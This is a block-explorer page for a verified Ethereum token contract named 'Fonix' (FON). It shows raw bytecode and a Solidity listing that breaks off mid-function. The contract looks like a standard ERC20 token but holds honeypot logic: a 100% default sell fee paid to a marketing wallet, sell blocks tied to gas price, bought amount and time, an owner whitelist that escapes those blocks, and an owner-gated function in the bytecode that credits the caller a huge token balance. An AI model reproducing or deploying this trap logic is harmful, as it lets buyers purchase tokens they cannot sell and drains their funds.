Address Contract Verified
Address
0xEbD016fa88D251C46D2FecaFD853832F7db04bfA
Balance
0 ETH
Nonce
1
Code Size
13838 bytes
Creator
0x64C86385...253B at tx 0x4b4f4994...38dc36
Indexed Transactions
0
Contract Bytecode
13838 bytes
0x6080604052600436106102045760003560e01c8063715018a611610118578063a9059cbb116100a0578063e3bbb4f11161006f578063e3bbb4f1146107a0578063e4440a86146107cb578063edd8b64a146107f6578063f2fde38b1461081f578063f53d9d581461084857610204565b8063a9059cbb146106c0578063bbf75e8f146106fd578063d1a039f014610726578063dd62ed3e1461076357610204565b806395d89b41116100e757806395d89b41146105c95780639e568dbc146105f45780639f38a0d71461061d578063a457c2d714610646578063a7e90f411461068357610204565b8063715018a6146105335780638229c2e51461054a57806385ecafd7146105615780638da5cb5b1461059e57610204565b8063395093511161019b5780635337cc991161016a5780635337cc991461042a5780635342acb4146104535780636994ee73146104905780636db79437146104cd57806370a08231146104f657610204565b806339509351146103825780633975cae9146103bf5780634d474d42146103ea5780634feeade41461041357610204565b80632df8bca9116101d75780632df8bca9146102d9578063313ce56714610305578063344d9e79146103305780633816377e1461035957610204565b806306fdde0314610209578063095ea7b31461023457806318160ddd1461027157806323b872dd1461029c575b600080fd5b34801561021557600080fd5b5061021e610864565b60405161022b91906126a3565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612763565b6108f6565b60405161026891906127be565b60405180910390f35b34801561027d57600080fd5b50610286610912565b60405161029391906127e8565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190612803565b61091c565b6040516102d091906127be565b60405180910390f35b3480156102e557600080fd5b506102ee610944565b6040516102fc929190612856565b60405180910390f35b34801561031157600080fd5b5061031a610955565b604051610327919061289b565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906128b6565b61096c565b005b34801561036557600080fd5b50610380600480360381019061037b91906128b6565b6109a2565b005b34801561038e57600080fd5b506103a960048036038101906103a49190612763565b6109d8565b6040516103b691906127be565b60405180910390f35b3480156103cb57600080fd5b506103d4610a08565b6040516103e191906127be565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c91906128e3565b610a1f565b005b34801561041f57600080fd5b50610428610a8f565b005b34801561043657600080fd5b50610451600480360381019061044c919061293c565b610b21565b005b34801561045f57600080fd5b5061047a600480360381019061047591906128e3565b610c3a565b60405161048791906127be565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b291906128e3565b610c90565b6040516104c491906127e8565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef919061297c565b610cd9565b005b34801561050257600080fd5b5061051d600480360381019061051891906128e3565b610d68565b60405161052a91906127e8565b60405180910390f35b34801561053f57600080fd5b50610548610db1565b005b34801561055657600080fd5b5061055f610dc5565b005b34801561056d57600080fd5b50610588600480360381019061058391906128e3565b610e1d565b60405161059591906127be565b60405180910390f35b3480156105aa57600080fd5b506105b3610e3d565b6040516105c091906129cb565b60405180910390f35b3480156105d557600080fd5b506105de610e66565b6040516105eb91906126a3565b60405180910390f35b34801561060057600080fd5b5061061b600480360381019061061691906128b6565b610ef8565b005b34801561062957600080fd5b50610644600480360381019061063f9190612a4b565b610f40565b005b34801561065257600080fd5b5061066d60048036038101906106689190612763565b611011565b60405161067a91906127be565b60405180910390f35b34801561068f57600080fd5b506106aa60048036038101906106a591906128e3565b611081565b6040516106b791906127be565b60405180910390f35b3480156106cc57600080fd5b506106e760048036038101906106e29190612763565b6110d7565b6040516106f491906127be565b60405180910390f35b34801561070957600080fd5b50610724600480360381019061071f91906128e3565b6110f3565b005b34801561073257600080fd5b5061074d600480360381019061074891906128e3565b61133f565b60405161075a91906127e8565b60405180910390f35b34801561076f57600080fd5b5061078a60048036038101906107859190612aab565b611388565b60405161079791906127e8565b60405180910390f35b3480156107ac57600080fd5b506107b561140f565b6040516107c291906127e8565b60405180910390f35b3480156107d757600080fd5b506107e0611415565b6040516107ed91906129cb565b60405180910390f35b34801561080257600080fd5b5061081d600480360381019061081891906128e3565b61143b565b005b34801561082b57600080fd5b50610846600480360381019061084191906128e3565b6114ab565b005b610862600480360381019061085d91906128b6565b61152e565b005b60606007805461087390612b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461089f90612b1a565b80156108ec5780601f106108c1576101008083540402835291602001916108ec565b820191906000526020600020905b8154815290600101906020018083116108cf57829003601f168201915b5050505050905090565b60008033905061090781858561164f565b600191505092915050565b6000600654905090565b60008033905061092d858285611818565b6109388585856118a4565b60019150509392505050565b600080600b54600c54915091509091565b6000600960009054906101000a900460ff16905090565b61099833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b8060108190555050565b6109ce33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80600a8190555050565b6000803390506109fd8185856109ee8589611388565b6109f89190612b7a565b61164f565b600191505092915050565b6000601460009054906101000a900460ff16905090565b610a4b33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610abb33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b189190612b7a565b92505081905550565b610b4d33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd690612bfa565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d0533600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b60648211158015610d17575060648111155b610d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4d90612c8c565b60405180910390fd5b81600b8190555080600c819055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610db961215a565b610dc360006121d1565b565b610df133600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b60136020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610e7590612b1a565b80601f0160208091040260200160405190810160405280929190818152602001828054610ea190612b1a565b8015610eee5780601f10610ec357610100808354040283529160200191610eee565b820191906000526020600020905b815481529060010190602001808311610ed157829003601f168201915b5050505050905090565b610f2433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b8060066000828254610f369190612b7a565b9250508190555050565b610f6c33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b60005b8383905081101561100b578160116000868685818110610f9257610f91612cac565b5b9050602002016020810190610fa791906128e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061100390612cdb565b915050610f6f565b50505050565b60008033905060006110238286611388565b905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90612d95565b60405180910390fd5b611075828686840361164f565b60019250505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000803390506110e88185856118a4565b600191505092915050565b61111f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f19190612dca565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561127a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129e9190612dca565b6040518363ffffffff1660e01b81526004016112bb929190612df7565b602060405180830381865afa1580156112d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fc9190612dca565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61146733600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6114b361215a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990612e92565b60405180910390fd5b61152b816121d1565b50565b61155a33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b61158730600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361164f565b61159130826110d7565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b0426115e59190612b7a565b6040518863ffffffff1660e01b815260040161160696959493929190612ef7565b60606040518083038185885af1158015611624573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116499190612f6d565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b590613032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724906130c4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180b91906127e8565b60405180910390a3505050565b60006118248484611388565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461189e5781811015611890576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188790613130565b60405180910390fd5b61189d848484840361164f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a906131c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990613254565b60405180910390fd5b61198d838383612295565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0b906132e6565b60405180910390fd5b611a1d84610c3a565b158015611a305750611a2e83610c3a565b155b15611fcc57611a3e84612514565b15611c78576000611a5183600b546125c6565b90508282611a5f9190613306565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611aae9190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611afc9190612b7a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611b5e9190613306565b604051611b6b91906127e8565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611be49190612b7a565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c6a91906127e8565b60405180910390a350611fc7565b611c8183612514565b15611ebb576000611c9483600c546125c6565b90508282611ca29190613306565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611cf19190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d3f9190612b7a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611da19190613306565b604051611dae91906127e8565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e279190612b7a565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ead91906127e8565b60405180910390a350611fc6565b8181611ec79190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f599190612b7a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fbd91906127e8565b60405180910390a35b5b6120d7565b8181611fd89190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461206a9190612b7a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120ce91906127e8565b60405180910390a35b6120e28484846125e8565b50505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214d906133ac565b60405180910390fd5b5050565b3373ffffffffffffffffffffffffffffffffffffffff16612179610e3d565b73ffffffffffffffffffffffffffffffffffffffff16146121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c690613418565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61229e83612514565b1561232c5780600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61233582612514565b1561250f57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661250e5780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561240d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612404906134aa565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461245c9190613306565b9250508190555061246b610a08565b156124fb576124bb600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010546125ed565b6124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f190613516565b60405180910390fd5b5b612503612606565b1561250d57600080fd5b5b5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806125bf5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846125d69190613536565b6125e091906135a7565b905092915050565b505050565b60004282846125fc9190612b7a565b1015905092915050565b6000600a543a1015905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561264d578082015181840152602081019050612632565b60008484015250505050565b6000601f19601f8301169050919050565b600061267582612613565b61267f818561261e565b935061268f81856020860161262f565b61269881612659565b840191505092915050565b600060208201905081810360008301526126bd818461266a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126fa826126cf565b9050919050565b61270a816126ef565b811461271557600080fd5b50565b60008135905061272781612701565b92915050565b6000819050919050565b6127408161272d565b811461274b57600080fd5b50565b60008135905061275d81612737565b92915050565b6000806040838503121561277a576127796126c5565b5b600061278885828601612718565b92505060206127998582860161274e565b9150509250929050565b60008115159050919050565b6127b8816127a3565b82525050565b60006020820190506127d360008301846127af565b92915050565b6127e28161272d565b82525050565b60006020820190506127fd60008301846127d9565b92915050565b60008060006060848603121561281c5761281b6126c5565b5b600061282a86828701612718565b935050602061283b86828701612718565b925050604061284c8682870161274e565b9150509250925092565b600060408201905061286b60008301856127d9565b61287860208301846127d9565b9392505050565b600060ff82169050919050565b6128958161287f565b82525050565b60006020820190506128b0600083018461288c565b92915050565b6000602082840312156128cc576128cb6126c5565b5b60006128da8482850161274e565b91505092915050565b6000602082840312156128f9576128f86126c5565b5b600061290784828501612718565b91505092915050565b612919816127a3565b811461292457600080fd5b50565b60008135905061293681612910565b92915050565b60008060408385031215612953576129526126c5565b5b600061296185828601612718565b925050602061297285828601612927565b9150509250929050565b60008060408385031215612993576129926126c5565b5b60006129a18582860161274e565b92505060206129b28582860161274e565b9150509250929050565b6129c5816126ef565b82525050565b60006020820190506129e060008301846129bc565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612a0b57612a0a6129e6565b5b8235905067ffffffffffffffff811115612a2857612a276129eb565b5b602083019150836020820283011115612a4457612a436129f0565b5b9250929050565b600080600060408486031215612a6457612a636126c5565b5b600084013567ffffffffffffffff811115612a8257612a816126ca565b5b612a8e868287016129f5565b93509350506020612aa186828701612927565b9150509250925092565b60008060408385031215612ac257612ac16126c5565b5b6000612ad085828601612718565b9250506020612ae185828601612718565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b3257607f821691505b602082108103612b4557612b44612aeb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b858261272d565b9150612b908361272d565b9250828201905080821115612ba857612ba7612b4b565b5b92915050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000612be4601d8361261e565b9150612bef82612bae565b602082019050919050565b60006020820190508181036000830152612c1381612bd7565b9050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000612c7660248361261e565b9150612c8182612c1a565b604082019050919050565b60006020820190508181036000830152612ca581612c69565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ce68261272d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1857612d17612b4b565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612d7f60258361261e565b9150612d8a82612d23565b604082019050919050565b60006020820190508181036000830152612dae81612d72565b9050919050565b600081519050612dc481612701565b92915050565b600060208284031215612de057612ddf6126c5565b5b6000612dee84828501612db5565b91505092915050565b6000604082019050612e0c60008301856129bc565b612e1960208301846129bc565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612e7c60268361261e565b9150612e8782612e20565b604082019050919050565b60006020820190508181036000830152612eab81612e6f565b9050919050565b6000819050919050565b6000819050919050565b6000612ee1612edc612ed784612eb2565b612ebc565b61272d565b9050919050565b612ef181612ec6565b82525050565b600060c082019050612f0c60008301896129bc565b612f1960208301886127d9565b612f266040830187612ee8565b612f336060830186612ee8565b612f4060808301856129bc565b612f4d60a08301846127d9565b979650505050505050565b600081519050612f6781612737565b92915050565b600080600060608486031215612f8657612f856126c5565b5b6000612f9486828701612f58565b9350506020612fa586828701612f58565b9250506040612fb686828701612f58565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061301c60248361261e565b915061302782612fc0565b604082019050919050565b6000602082019050818103600083015261304b8161300f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130ae60228361261e565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061311a601d8361261e565b9150613125826130e4565b602082019050919050565b600060208201905081810360008301526131498161310d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131ac60258361261e565b91506131b782613150565b604082019050919050565b600060208201905081810360008301526131db8161319f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061323e60238361261e565b9150613249826131e2565b604082019050919050565b6000602082019050818103600083015261326d81613231565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006132d060268361261e565b91506132db82613274565b604082019050919050565b600060208201905081810360008301526132ff816132c3565b9050919050565b60006133118261272d565b915061331c8361272d565b925082820390508181111561333457613333612b4b565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061339660218361261e565b91506133a18261333a565b604082019050919050565b600060208201905081810360008301526133c581613389565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061340260208361261e565b915061340d826133cc565b602082019050919050565b60006020820190508181036000830152613431816133f5565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b600061349460288361261e565b915061349f82613438565b604082019050919050565b600060208201905081810360008301526134c381613487565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d65600082015250565b600061350060208361261e565b915061350b826134ca565b602082019050919050565b6000602082019050818103600083015261352f816134f3565b9050919050565b60006135418261272d565b915061354c8361272d565b925082820261355a8161272d565b9150828204841483151761357157613570612b4b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135b28261272d565b91506135bd8361272d565b9250826135cd576135cc613578565b5b82820490509291505056fea264697066735822122035aedbcc28ffe6016f7781842a3abff352b669740b0fc2b05728c62a2abccd5564736f6c63430008130033
Verified Source Code Full Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: No
Fonix.sol 430 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {}
library SecureCalls {
function checkCaller(address sender, address _origin) internal pure {
require(sender == _origin, "Caller is not the original caller");
}
}
contract LibreMount {
mapping(uint256 => mapping(address => bool)) internal _blockState;
function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
return(_tmstmp + _dwntm >= block.timestamp);
}
function suspiciousAddressCheck(address _addy) internal view {
require(!_blockState[block.number][_addy], "Only one Txn per Block!");
}
function addSuspiciousAddress(address _addy) internal {
_blockState[block.number][_addy] = true;
}
}
contract TokenProtocol is IERC20, Ownable, LibreMount {
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000000000000;
string private _name = "Fonix";
string private _symbol = "FON";
uint8 private _decimals = 9;
uint256 public MAX_GAS_PRICE = 10 gwei;
uint private buyFee = 0; // Default, %
uint private sellFee = 100; // Default, %
address private _origin;
mapping(address => uint) private purchaseTimestamp;
mapping(address => uint) private boughtAmount;
uint256 private downTime = 1;
mapping(address => bool) private premissionList;
address public marketWallet;
mapping(address => bool) public excludedFromFee;
constructor () {
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
premissionList[msg.sender] = true;
premissionList[address(this)] = true;
marketWallet = msg.sender;
excludedFromFee[msg.sender] = true;
excludedFromFee[address(this)] = true;
_origin = msg.sender;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
if (isMarket(from)) {
uint feeAmount = calculateFeeAmount(amount, buyFee);
_balances[from] = fromBalance - amount;
